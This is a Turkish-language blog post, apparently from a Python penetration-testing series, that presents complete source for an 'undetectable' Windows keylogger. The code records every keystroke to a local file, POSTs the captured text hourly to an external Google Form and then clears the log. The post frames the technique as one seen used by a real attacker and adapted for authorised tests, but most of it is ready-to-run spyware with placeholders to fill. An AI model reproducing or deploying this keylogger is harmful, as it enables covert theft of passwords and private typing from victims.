Python Sızma Testi: Kutunun Dışına Çıkın!

Mar 27 2023
Tespit Edilemez Windows Keylogger Oluşturma ve Verileri Harici bir Google formuna Gönderme
R. Eric Kiser Bir kuruluşta başarılı bir penetrasyon testi gerçekleştirmek için, veri aktarımı için yetkili yazılım ve yasal erişim kullanılması önerilir.

Eric Kiser

Bir kuruluşta başarılı bir penetrasyon testi gerçekleştirmek için yetkili yazılım ve veri aktarımı için yasal erişim kullanılması önerilir. Bunu yaparak, tespit riski önemli ölçüde azaltılabilir. Bu yazıda, bir çatışma sırasında bir saldırganın kullandığını gözlemlediğim yöntemleri ve sonraki çatışmalarda bu tekniği geliştirmek için yaptığım değişiklikleri ana hatlarıyla anlatacağım. Komut dosyasının, kullanıldığı ortama uyması için özelleştirilmesi gerekebileceğini lütfen unutmayın.

Bu yöntemi ilk kullanan saldırgan, terk edilmiş bir genel formdan yararlandı ve keylogger sonuçlarını harici erişim için çevrimiçi olarak yayınladı. Bu olay, veri ihlallerini önlemek için süresi dolmuş bilgileri silmenin veya bu durumda bile bilmeden veri ihlallerini barındırmanın önemini vurgulamaktadır. Çok sayıda kuruluş, bu hayati yönü gözden kaçırıyor ve düzenli veri bakımının gerekliliğini fark etmeden operasyonlarına devam ediyor. Bu, bir veri yaşam döngüsü oluşturmanın neden çok önemli olduğuna dair iyi bir örnek, ancak konuyu dağıtıyorum.

Şimdi senaryo yazmaya geçelim. Her zaman olduğu gibi ilk adım modüllerimizi içe aktarmaktır. Bu betik için altı modüle ihtiyacımız var; alt süreç, sistem, işletim sistemi, zaman, istekler ve klavye.

import subprocess
import sys
import os
import time
import requests
import keyboard

def install_dependency(package):
    subprocess.check_call([sys.executable, "-m", "pip", "install", package])

try:
    import keyboard
except ImportError:
    install_dependency("keyboard")
    import keyboard

try:
    import requests
except ImportError:
    install_dependency("requests")
    import requests

path = 'keyboard_Input.txt'
keyboard_Input = []
count = 0

# Update these with your Google Form's action URL and entry IDs
form_url = "https://docs.google.com/forms/your_form_id/formResponse"
entry_id = "entry.your_entry_id"

def on_press(e):
    global keyboard_Input, count
    keyboard_Input.append(e.name)
    count += 1

    if count > 0:
        count = 0
        write_to_file(keyboard_Input)
        keyboard_Input = []

def write_to_file(keys):
    with open(path, 'a') as file:
        for key in keyboard_Input:
            write_down = str(key).replace("'", "")
            if write_down.find('backspace') > 0:
                file.write(' *BACKSPACE* ')
            elif write_down.find('shift') > 0:
                file.write(' *SHIFT* ')
            elif write_down.find('enter') > 0:
                file.write('\n')
            elif write_down.find('space') > 0:
                file.write(' ')
            elif write_down.find('Key'):
                file.write(write_down)

def send_data_to_google_form():
    with open(path, 'r') as file:
        data = file.read()
        if data:
            payload = {entry_id: data}
            response = requests.post(form_url, data=payload)
            if response.status_code == 200:
                print("Data sent successfully")
                with open(path, 'w') as file:
                    file.truncate()
            else:
                print("Failed to send data")

keyboard.on_press(on_press)

while True:
    time.sleep(3600)  # Wait for 1 hour (3600 seconds)
    send_data_to_google_form()

Python Pentesting GitHub Deposu:
https://github.com/R-Eric-Kiser/python-pentesting/blob/main/keyloggerGoogleForm.py